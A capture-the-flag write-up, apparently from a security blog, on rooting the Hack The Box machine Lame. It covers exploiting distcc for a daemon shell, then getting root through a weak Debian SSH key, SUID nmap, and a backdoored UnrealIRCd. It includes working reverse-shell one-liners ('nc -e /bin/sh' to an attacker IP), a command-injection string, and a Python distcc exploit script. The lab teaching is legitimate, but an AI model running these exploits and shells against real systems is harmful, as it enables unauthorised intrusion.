HTB: More Lame
After I put out a Lame write-up yesterday, it was pointed out that I skipped an access path entirely - distcc. Yet another vulnerable service on this box, which, unlike the Samba exploit, provides a shell as a user, providing the opportunity to look for PrivEsc paths. This box is so old, I’m sure there are a ton of kernel exploits available. I’ll skip those for now focusing on two three paths to root - finding a weak public SSH key, using SUID nmap, and backdoored UnrealIRCd.
distcc - TCP 3632
Standard nmap Scan
nmap
run in the way I usually run it doesn’t give much info about dist-cc:
root@kali# nmap -p 3632 -sV -sC 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 14:23 EDT
Nmap scan report for 10.10.10.3
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.11 seconds
Background
From the gentoo wiki:
Distcc is a program designed to distribute compiling tasks across a network to participating hosts. It is comprised of a server, distccd, and a client program, distcc. Distcc can work transparently with ccache, Portage, and Automake with a small amount of setup.
The idea is networked compilation of code. Also in that same page, in the Configuration section, it recommends configuring which clients are allowed to connect, as:
Exploits
searchsploit
shows an exploit for command execution against the distcc daemon:
root@kali# searchsploit distcc
-------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------- ----------------------------------------
DistCC Daemon - Command Execution (Metasploit) | exploits/multiple/remote/9915.rb
-------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
This isn’t as much an exploit as it is taking advantage of what is called out on the Gentoo wiki - part of the system design is such that if you can connect to distcc, you can run commands.
This result is a Metasploit script. Goolging shows some ties to CVE-2004-2687, but pulling up the documentation on that CVE, it’s exactly what I saw above:
distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
nmap Script
Searching on the CVE leads to not only the Metasploit exploit, but also this nmap script. It’s not a script included with nmap
by default, but I can download it and store it in my scripts directory. locate
is useful to find where the scripts are stored:
root@kali# locate *.nse | head
/usr/share/exploitdb/exploits/hardware/webapps/31527.nse
/usr/share/exploitdb/exploits/multiple/remote/33310.nse
/usr/share/legion/scripts/nmap/shodan-api.nse
/usr/share/legion/scripts/nmap/shodan-hq.nse
/usr/share/legion/scripts/nmap/vulners.nse
/usr/share/nmap/scripts/acarsd-info.nse
/usr/share/nmap/scripts/address-info.nse
/usr/share/nmap/scripts/afp-brute.nse
/usr/share/nmap/scripts/afp-ls.nse
/usr/share/nmap/scripts/afp-path-vuln.nse
I’ll download it into /usr/share/nmap/scripts/
:
root@kali# wget https://svn.nmap.org/nmap/scripts/distcc-cve2004-2687.nse -O /usr/share/nmap/scripts/distcc-exec.nse
--2020-04-07 14:38:26-- https://svn.nmap.org/nmap/scripts/distcc-cve2004-2687.nse
Resolving svn.nmap.org (svn.nmap.org)... 45.33.49.119, 2600:3c01::f03c:91ff:fe98:ff4e
Connecting to svn.nmap.org (svn.nmap.org)|45.33.49.119|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3519 (3.4K) [text/plain]
Saving to: ‘/usr/share/nmap/scripts/distcc-exec.nse’
/usr/share/nmap/scripts/distcc-exec.nse 100%[=======================================================================================>] 3.44K --.-KB/s in 0s
2020-04-07 14:38:27 (54.8 MB/s) - ‘/usr/share/nmap/scripts/distcc-exec.nse’ saved [3519/3519]
Now I can run it and get results:
root@kali# nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='id'"
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 14:38 EDT
Nmap scan report for 10.10.10.3
Host is up (0.014s latency).
PORT STATE SERVICE
3632/tcp open distccd
| distcc-exec:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|_ https://distcc.github.io/security.html
Nmap done: 1 IP address (1 host up) scanned in 0.44 seconds
I’ll play with this execution in more depth in Beyond Root.
Shell as daemon
The script above actually already showed command execution, running and returning the results from the id
command. I can see the process is running as daemon.
To get a shell, I’ll just start a nc
listener, and change that command from id
to nc
:
root@kali# nmap -p 3632 10.10.10.3 --script distcc-exec --script-args="distcc-exec.cmd='nc -e /bin/sh 10.10.14.24 443'"
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 14:41 EDT
Nmap scan report for 10.10.10.3
Host is up (0.013s latency).
PORT STATE SERVICE
3632/tcp open distccd
Nmap done: 1 IP address (1 host up) scanned in 30.48 seconds
Instantly I get a shell:
root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.3.
Ncat: Connection from 10.10.10.3:57188.
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
I’ll upgrade it with python -c 'import pty;pty.spawn("bash")'
, ctrl-z, stty raw -echo
, fg
, reset
, and have a proper shell. I can grab user.txt
:
daemon@lame:/home/makis$ cat user.txt
69454a93************************
Shell as root
There are multiple paths to root. I won’t show kernel exploits, though I suspect there are a bunch (udev seems promising).
Weak SSH Key
The permissions on /root
are open to make it world readable:
daemon@lame:/$ ls -ld root/
drwxr-xr-x 13 root root 4096 Apr 7 10:33 root/
I can’t read root.txt
, but I can read into the .ssh
directory:
daemon@lame:/root$ ls -la
total 80
drwxr-xr-x 13 root root 4096 Apr 7 10:33 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
-rw------- 1 root root 373 Apr 7 10:33 .Xauthority
lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwx------ 3 root root 4096 May 20 2012 .config
drwx------ 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 Apr 7 10:33 .fluxbox
drwx------ 2 root root 4096 May 20 2012 .gconf
drwx------ 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gstreamer-0.10
drwx------ 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwx------ 5 root root 4096 May 20 2012 .purple
-rwx------ 1 root root 4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 May 20 2012 .ssh
drwx------ 2 root root 4096 Apr 7 10:33 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx------ 1 root root 401 May 20 2012 reset_logs.sh
-rw------- 1 root root 33 Mar 14 2017 root.txt
-rw-r--r-- 1 root root 118 Apr 7 10:33 vnc.log
In there, I find the public keys file, authorized_keys
:
daemon@lame:/root/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
Typically having a public key doesn’t do much, but two things are interesting here:
- Why is the user msfadmin@metasploitable?
- Could this key be vulnerable to CVE-2008-0166, where the random number generator in OpenSSL broke for a period of time causing lots of thing, including some SSH keys, to be brute forcable from the public key.
I’ll clone g0tmi1k’s GitHub repo for this vulnerability, and go into that directory, and unpack the common RSA keys:
root@kali:/opt# git clone https://github.com/g0tmi1k/debian-ssh
Cloning into 'debian-ssh'...
remote: Enumerating objects: 35, done.
remote: Total 35 (delta 0), reused 0 (delta 0), pack-reused 35
Unpacking objects: 100% (35/35), 439.59 MiB | 6.72 MiB/s, done.
root@kali:/opt# cd debian-ssh/
root@kali:/opt/debian-ssh# ls
common_keys our_tools README.md uncommon_keys
root@kali:/opt/debian-ssh# cd common_keys/
root@kali:/opt/debian-ssh/common_keys# ls
debian_ssh_dsa_1024_x86.tar.bz2 debian_ssh_rsa_2048_x86.tar.bz2
root@kali:/opt/debian-ssh/common_keys# tar jxf debian_ssh_rsa_2048_x86.tar.bz2
Now I’ll use grep
with -lr
for recurrsive to just display the filename with the public key, and it finds it:
root@kali:/opt/debian-ssh/common_keys/rsa/2048# grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== *.pub
57c3115d77c56390332dc5c49978627a-5429.pub
I can use the matching private key to SSH to the box as root:
root@kali:/opt/debian-ssh/common_keys/rsa/2048# ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.10.10.3
Last login: Tue Apr 7 10:33:18 2020 from :0.0
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
id
root@lame:~# id
uid=0(root) gid=0(root) groups=0(root)
SUID nmap
Enumeration
I can look for SUID files with the following find
command (LinEnum or linPEAS would also find them):
daemon@lame:/$ find / -type f -user root \( -perm -4000 -o -perm -2000 \) 2>/dev/null -ls
16466 68 -rwsr-xr-x 1 root root 63584 Apr 14 2008 /bin/umount
16449 20 -rwsr-xr-- 1 root fuse 20056 Feb 26 2008 /bin/fusermount
16398 28 -rwsr-xr-x 1 root root 25540 Apr 2 2008 /bin/su
16418 84 -rwsr-xr-x 1 root root 81368 Apr 14 2008 /bin/mount
16427 32 -rwsr-xr-x 1 root root 30856 Dec 10 2007 /bin/ping
16457 28 -rwsr-xr-x 1 root root 26684 Dec 10 2007 /bin/ping6
8370 68 -rwsr-xr-x 1 root root 65520 Dec 2 2008 /sbin/mount.nfs
8252 20 -rwxr-sr-x 1 root shadow 19584 Apr 9 2008 /sbin/unix_chkpwd
304747 4 -rwsr-xr-- 1 root dhcp 2960 Apr 2 2008 /lib/dhcp3-client/call-dhclient-script
344359 112 -rwsr-xr-x 2 root root 107776 Feb 25 2008 /usr/bin/sudoedit
345080 4 -rwxr-sr-x 1 root utmp 3192 Apr 22 2008 /usr/bin/Eterm
344440 8 -rwsr-sr-x 1 root root 7460 Jun 25 2008 /usr/bin/X
344089 8 -rwxr-sr-x 1 root tty 8192 Dec 12 2007 /usr/bin/bsd-write
344958 12 -rwsr-xr-x 1 root root 8524 Nov 22 2007 /usr/bin/netkit-rsh
344366 80 -rwxr-sr-x 1 root ssh 76580 Apr 6 2008 /usr/bin/ssh-agent
344139 40 -rwsr-xr-x 1 root root 37360 Apr 2 2008 /usr/bin/gpasswd
344689 32 -rwxr-sr-x 1 root mlocate 30508 Mar 8 2008 /usr/bin/mlocate
344364 28 -rwxr-sr-x 1 root crontab 26928 Apr 8 2008 /usr/bin/crontab
344317 16 -rwsr-xr-x 1 root root 12296 Dec 10 2007 /usr/bin/traceroute6.iputils
344359 112 -rwsr-xr-x 2 root root 107776 Feb 25 2008 /usr/bin/sudo
344959 12 -rwsr-xr-x 1 root root 12020 Nov 22 2007 /usr/bin/netkit-rlogin
344550 40 -rwxr-sr-x 1 root shadow 37904 Apr 2 2008 /usr/bin/chage
344284 308 -rwxr-sr-x 1 root utmp 308228 Oct 23 2007 /usr/bin/screen
344220 20 -rwxr-sr-x 1 root shadow 16424 Apr 2 2008 /usr/bin/expiry
344230 12 -rwsr-xr-x 1 root root 11048 Dec 10 2007 /usr/bin/arping
345067 304 -rwxr-sr-x 1 root utmp 306996 Jan 2 2009 /usr/bin/xterm
344365 20 -rwsr-xr-x 1 root root 19144 Apr 2 2008 /usr/bin/newgrp
344337 12 -rwxr-sr-x 1 root tty 9960 Apr 14 2008 /usr/bin/wall
344429 28 -rwsr-xr-x 1 root root 28624 Apr 2 2008 /usr/bin/chfn
344956 768 -rwsr-xr-x 1 root root 780676 Apr 8 2008 /usr/bin/nmap
344441 24 -rwsr-xr-x 1 root root 23952 Apr 2 2008 /usr/bin/chsh
344957 16 -rwsr-xr-x 1 root root 15952 Nov 22 2007 /usr/bin/netkit-rcp
344771 32 -rwsr-xr-x 1 root root 29104 Apr 2 2008 /usr/bin/passwd
344792 48 -rwsr-xr-x 1 root root 46084 Mar 31 2008 /usr/bin/mtr
354594 12 -r-xr-sr-x 1 root postdrop 10312 Apr 18 2008 /usr/sbin/postqueue
354659 12 -r-xr-sr-x 1 root postdrop 10036 Apr 18 2008 /usr/sbin/postdrop
354626 268 -rwsr-xr-- 1 root dip 269256 Oct 4 2007 /usr/sbin/pppd
369987 8 -rwsr-xr-- 1 root telnetd 6040 Dec 17 2006 /usr/lib/telnetlogin
385106 12 -rwsr-xr-- 1 root www-data 10276 Mar 9 2010 /usr/lib/apache2/suexec
386116 8 -rwsr-xr-x 1 root root 4524 Nov 5 2007 /usr/lib/eject/dmcrypt-get-device
377149 168 -rwsr-xr-x 1 root root 165748 Apr 6 2008 /usr/lib/openssh/ssh-keysign
371390 12 -rwsr-xr-x 1 root root 9624 Aug 17 2009 /usr/lib/pt_chown
I could research each of them, but I know from experience the nmap
is useful to me.
GTFObins
To research a SUID or sudo
binary, my first stop is always GTFObins. nmap
is in there:
Clicking on the nmap link, it two ways to get a shell out of nmap
:
Shell
The second work works great here (note the euid
of root):
daemon@lame:/$ nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)
Backdoored UnrealIRCd
Edited to add: _r518 pointed out another local privesc, UnrealIRCd. Given that this seems to be the Metasploitable VM, there’s probably even more, but I figured I’d add at least this one.
Enumeration
If I run a netstat
on the box to see listening services, there are a bunch, but 6697 jumps out as IRC over SSL:
daemon@lame:/tmp$ netstat -tnlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:512 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:44007 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:6697 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:5900 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:55758 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8787 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1524 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN -
tcp 0 0 10.10.10.3:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:40471 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp6 0 0 :::2121 :::* LISTEN -
tcp6 0 0 :::3632 :::* LISTEN -
tcp6 0 0 :::53 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::5432 :::* LISTEN -
tcp6 0 0 ::1:953 :::* LISTEN -
Also, the process list shows unrealircd
running as root :
daemon@lame:/tmp$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 1.3 0.3 2844 1692 ? Ss 15:26 0:00 /sbin/init
root 2 0.0 0.0 0 0 ? S< 15:26 0:00 [kthreadd]
...[snip]...
root 5203 0.0 0.4 8540 2356 ? S 15:27 0:00 /usr/bin/unrealircd
...[snip]
On trying to connect to this port, I get output that identifies this as from Metasploitable:
daemon@lame:/tmp$ nc 127.0.0.1 6697
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
ERROR :Closing Link: [127.0.0.1] (Ping timeout)
That suggests it’s likely the vulnerable version.
Exploit
I exploited this version of IRC in Irked, and even wrote my own script to exploit it. However, it was Python3, and this box doesn’t have Python3. Rather than back-port it, I can use a one-liner from my shell:
daemon@lame:/tmp$ echo "AB; nc -e /bin/sh 10.10.14.24 443" | nc 127.0.0.1 6697
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
And in a nc
listener, get a shell:
root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.3.
Ncat: Connection from 10.10.10.3:49683.
id
uid=0(root) gid=0(root)
Beyond Root - distcc Exploit
To see what was happening, I started Wireshark and ran the distcc nmap
exploit again. There’s some pinging, and a few test TCP streams, before the payload shows up in TCP stream 3:
I can see both the exploit and the response in there.
To test, I tried pasting that same string into nc
. It worked, returning the output of id
:
root@kali# nc 10.10.10.3 3632
DIST00000001ARGC00000008ARGV00000002shARGV00000002-cARGV0000000csh -c '(id)'ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002-oARGV00000006main.oDOTI00000001A
DONE00000001STAT00000000SERR00000000SOUT0000002duid=1(daemon) gid=1(daemon) groups=1(daemon)
DOTO00000000Ncat: Connection reset by peer.
I tried changing the command, and it just hung:
root@kali# nc 10.10.10.3 3632
DIST00000001ARGC00000008ARGV00000002shARGV00000002-cARGV0000000csh -c '(whoami)'ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002-oARGV00000006main.oDOTI00000001A
Looking back at the nmap
script, I see this block in the middle:
local cmds = {
"DIST00000001",
("ARGC00000008ARGV00000002shARGV00000002-cARGV%08.8xsh -c " ..
"'(%s)'ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002" ..
"-oARGV00000006main.o"):format(10 + #arg_cmd, arg_cmd),
"DOTI00000001A\n",
}
There are two things filled in. First, 8 hex digits of the length of the command + 10 (I’m guessin the 10 being sh -c '(
and ')
.) Then the command.
I wrote a quick Python script to exploit this:
#!/usr/bin/env python3
import socket
import sys
if len(sys.argv) != 4:
print(f"{sys.argv[0]} [ip] [port] [command]")
sys.exit(1)
_, ip, port, cmd = sys.argv
mask = "0xdffdx0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
full_cmd = f"sh -c '(echo -n {mask};{cmd};echo -n {mask})'"
payload = f"""DIST00000001ARGC00000008ARGV00000002shARGV00000002-cARGV{len(full_cmd):8x}{full_cmd}ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002- oARGV00000006main.oDOTI00000001A"""
s.send(payload.encode())
resp = s.recv(4096)
print(resp.decode(errors="ignore").split(mask)[1].strip())
The script is very simple. It gets an IP, port, and command from arguments. Then it creates the payload string using the input command. Looking at the results coming back, I want a reliable way to pull out the command output. It looks like it may always start the same number of bytes in, but to be sure, I’ll have the command echo
a unique mask before and after the input command, and then use that to split and find the output.
It runs and returns results:
root@kali# ./distcc_exec.py 10.10.10.3 3632 'id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
root@kali# ./distcc_exec.py 10.10.10.3 3632 'ls /home/'
ftp
makis
service
user